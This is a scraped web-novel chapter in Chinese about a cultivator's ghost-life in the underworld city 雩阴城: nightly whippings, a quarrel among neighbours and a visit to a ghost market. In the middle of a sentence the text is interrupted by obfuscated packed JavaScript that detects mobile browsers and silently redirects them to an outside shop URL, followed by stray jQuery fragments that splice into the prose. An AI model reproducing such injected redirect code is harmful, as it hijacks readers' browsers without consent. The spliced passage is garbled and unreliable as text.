“饿啊,饿啊。”
不知是谁的声音透过墙传过来,由于屋子隔音效果太差,屋中人做什么,隔壁都能听得一清二楚。
居住在雩阴城的鬼,可没资格像地府里的鬼那般,享受阳间亲人供奉的钱财和美食。
鬼是饿不死的,有时鬼们饿极了,只能刨些墙上的枯草黄土塞进肚里解解馋。可惜鬼肚里消化不了,最后只能再吐出去。
嬴仲景肚中也不好受,面对久违的饥饿感,他也只得静下心,所幸灵识还能修炼。意念缓缓浸入识海,引领灵识从识海飞出,一层层向外扩散。
病死鬼老爷的声音传入嬴仲景识海,此鬼嘴里念着“钱,我的十万钱”。想必病死鬼老爷现在正躺在炕上呓语。嬴仲景不想听别家私房话,继续向外探查。
他想试试自己的灵识能走多远,探探西北居民区大小范围。站在茅草屋前看天,天总是灰蒙蒙一片。四面城墙与城外阴火山都十分遥远,远在天边。
直至临近午夜,嬴仲景仍然一无所获,于是躺在土炕上,闭目养神,等待即将到来的鞭笞之刑。
城楼上的钟敲响第一声,半空出现一条手腕粗的软鞭。
一鞭抽在嬴仲景肩上,痛感一瞬从体内传来,所幸嬴仲景泡过药浴,重塑筋骨后,这点痛感尚能忍受。
第二鞭,第三鞭接踵而至,每一鞭力道都比上一鞭更重,打在腰腹、大腿、后背、脸颊上,直至第十鞭方才能停。
鞭刑之痛不在皮肉,疼在魂上。受过十鞭后痛感依旧不会消失,只会伴随众鬼到黎明。
此时,新鬼旧鬼鬼哭狼嚎声一片,有些鬼更是从屋里跑出来抱头痛哭,似乎这般,痛苦就会减轻。也有几只怨鬼抓起木板互相击打对方的头部,不知是能够减轻痛楚还是伺机报复。
红红化为原身,用尾巴将嬴仲景包裹,想要帮他分担。嬴仲景双目紧闭,面色不大好看。若说忍痛是一种修行,他已修行五年。
门外响起急切的敲门声,那扇破烂木门摇摇欲坠。红红变回娇小外形,嬴仲景才去开门。
门外正是他的邻居病死鬼老爷。病死鬼面容灰白,比白日里还要瘦几分,皮下白骨青筋尽显。他叫得声嘶力竭:“嬴小仙人,快想个办法吧!老夫实在疼得受不了了!”
嬴仲景又能有什么办法呢?只得教病死鬼一些静心口诀,又将手按在其后背上,按压穴位。
不知嬴仲景的方法是否有用,病死鬼真的好受一些,几个时辰后痛楚消失。病死鬼谢过嬴仲景,岔开双腿,坐在地上愁眉不展。
二鬼无言,病死鬼干嚎道:“定是我生前敛财太过,死后才要遭此劫难。我如今只盼自己阳寿将近,哪怕投个猪胎也成。”
嬴仲景不了解病死鬼生前的事,宽慰道:“老伯,今夜就是鬼城大集会。”
病死鬼愣住了,嬴仲景道:“每十日就要过一次思乡日,每月有一次大集会,每年鬼母会为我们讲经十日,一年有四次节日。如此算一年就有六十多日不必受鞭笞之刑。”
“嬴小仙人说得是。”病死鬼皱巴巴的眉头舒展开,他听见外面的动静,咕哝道:“老夫我怎么听见有人吵架?”
嬴仲景把红红抱在怀里,与病死鬼老爷推门出去。只见嬴仲景的邻居,那位住在隔壁的美艳鬼双手叉腰,露出胸脯,胸脯里的肚兜依稀可见,惹得诸位色鬼不时朝那处看去。
美艳鬼大骂道:“好你个小蹄子,竟敢管姑奶奶的事儿?”
美艳鬼说完,扑过去抓住小妇人李芙摇晃起来,口中继续骂道;“亏你也是个嫁过人的,放荡货色!”
小妇人李芙浑身颤抖,指着美艳鬼道:“你!你……”
她脸皮薄,半天说不出原因,新鬼们看向李芙的眼神中逐渐充满鄙夷和厌恶。只有猜出原委的老鬼,嘿嘿一笑。小妇人李芙气得忍不住哇哇干嚎起来。
书生张凡从人群里走出来,朗声道:“我知道事情来龙去脉。”
“你胡说什么?”美艳鬼一惊。
“这位冯姨母,我今日可是都看见了。一早我看见李妇人去敲你的房门,不一会儿又哭着从你房里跑出去,跟着她的还有这三个男人。”张凡一指,三只鬼低下了头。
张凡更有底气,“你从屋里追出来,指着李妇人大骂,这是为什么呢?”
众鬼左看看美艳鬼,右看看穿戴完整的李芙。张凡道:“咱们都变成鬼了,难道还要守阳间那一套规矩?”
小妇人受到鼓励,温声道:“我每每想到要在地下独自生活几十年,就想着找个伴说说话。今日一早我去找冯姨母,冯姨母房中那位大伯邀我共寝,我吓跑了。冯姨母竟然还要追出来辱我。”
美艳鬼冯氏心中愤懑,扭过头用一种阴恻恻的目光瞧小妇人。谁叫这小妇人不请自来,她又怕小妇人吐露出去,只得先下手为强。
美艳鬼啐了一口,扭着腰回了屋。
众鬼也没兴趣继续八卦,今晚的大集会才是重头戏。天色渐暗,众鬼都堵在过道上游荡。大道上来了几队鬼差,鬼魂儿们瞧见鬼差腰间的黑色刀鞘,立马就安分了。
雩阴城被分为西北、东北、西南、东南四个区域,每个区域都有一个小集市。一簇新鬼被推搡着朝集市进发。老鬼挤在嬴仲景身边,热心讲解道:“看见了没?这家是卖衣服的,那家是吃食。还有好多小玩意儿呢。”
鬼的衣服不会脏不会坏,但成衣店可是很有市场的。嬴仲景对衣服没兴趣,注意到街边有算命的摊位,反倒有些在意。
他走近摊位,摊位店家是个纸扎人。纸扎人转动一对朱红眼珠,露出幽冷的眼白。
摊位上摆着一面小镜,与鬼吏手中的十分相似。纸扎人写道:“只需一刻钟阳寿,就可看到前世的旧人,后世的姻缘。”
“阳寿?”嬴仲景道。
“你交予它一刻钟阳寿,便要在雩阴城多待一刻。”一个声音从身后传来。是北门府衙那位热心鬼吏,鬼吏露出一嘴黑牙,乐道,“是你?”
“大人也是来逛集市的?”嬴仲景道。
鬼吏摇摇头:“集市月月都有,咱都看了这么些年,有啥好看的?你要感兴趣,我带你逛逛?”
嬴仲景做出个请的手势,与鬼吏一同走在街道上。一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986507|137071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
堆新鬼挤在一家面摊上,饿了好些天肚子,一个个端过一碗面就往嘴里送,又一个个哇地吐了。
这都是啥?鸡蛋似的眼珠子,一根不断的头发丝面条,大腿骨汤底。鬼吏们哈哈大笑,指挥新鬼把地面打扫干净。
嬴仲景身旁的黑牙鬼吏道:“哎哟,咱这可不比鬼府。鬼府那边和阳间没什么区别,开着饭庄酒肆,吃的是子孙供奉,花的是大元宝,啧啧啧。”
老鬼从后面挤出个脑袋,讪笑道:“您老在那边办过差事?”
“哼哼,我刚下来时远远见过呢。”黑牙鬼吏扭头看见老鬼那死人样,嫌弃道,“去去去,站后面去。”
鬼吏看完老鬼,又看嬴仲景那张白净的脸。掐着下巴不说话了。
嬴仲景道:“大人有话要问?”
鬼吏一拍手:“对对对。我一直好奇,你究竟是怎么死的?”
嬴仲景缓缓道:“在下,自然是被师父一颗毒药送下来的。”
鬼吏道:“我指的可不是这个!送到雩阴城的修士,一般有两种。一种生前造了太多杀孽,直接被拉去阴火山。另一种吗?修士身死,下来多少都会带些怨气。只要是修士就会被关在西南居民区,以防变成厉鬼伤人。”
鬼吏停顿片刻,话里透着一股酸味:“有一种大善人,死后毫无怨气,却因积德行善提前被收去了地府,哪怕它是只枉死鬼。”
“还有就是变成孤魂野鬼的,缺个脑袋的。这些鬼界都不收。你,为何一丝怨恨都没有?”
“我为何要怨?”
病死鬼老爷听了半天,忍不住插嘴道:“命可是我的。谁要害我,我死了都要变厉鬼拉他下来,千刀万剐也不为过。”
鬼吏瞪了病死鬼一眼,心急道:“快说!”
“欺师灭祖!”病死鬼以为鬼吏在叫他,吓得蹦出四个字。
“勾结妖魔鬼怪!”老鬼看嬴仲景的眼神变了。
“武林秘籍!”看来书生不知修仙与练武不同。
嬴仲景摇头:“我们本是一对云游四方的师徒。师父想炼药助我修行,不料配错药才酿成这般祸事。想来师父如今在阳间也懊悔万分,我只悲痛师徒缘分已断,岂会徒生怨愤。”
“真是个重情重义的徒弟啊。”书生心想。
“呵,真是个糊涂的师父。”鬼吏原本有所怀疑,靠近嬴仲景嗅了嗅,确实是和他们一样的死人味道,又打消心中疑虑。
嬴仲景褪下身上那件飘逸的纱罗外袍,递到鬼吏面前:“这件外袍可避水驱火,四季冰凉透气。我如今身无他物,就将它当作大人之前照顾我们的谢礼吧。待他日我投胎之时,再奉上元宝。”
鬼吏新奇地接过衣袍,瞧着没什么,摸上去确实冰凉凉。鬼吏没客气,喜滋滋收下了。
他瞧嬴仲景顺眼,道:“哼哼,你个修士要耗尽阳寿可得百年后啦。我叫鬼十七,平日就在城北衙门。你们继续逛吧。”
鬼吏的身影消失在众多鬼影里,留下五鬼停在原地,一直不说话的小妇人道:“嬴小郎君,你会不会障眼法,将吃食变成阳间物,也好让我们下咽。”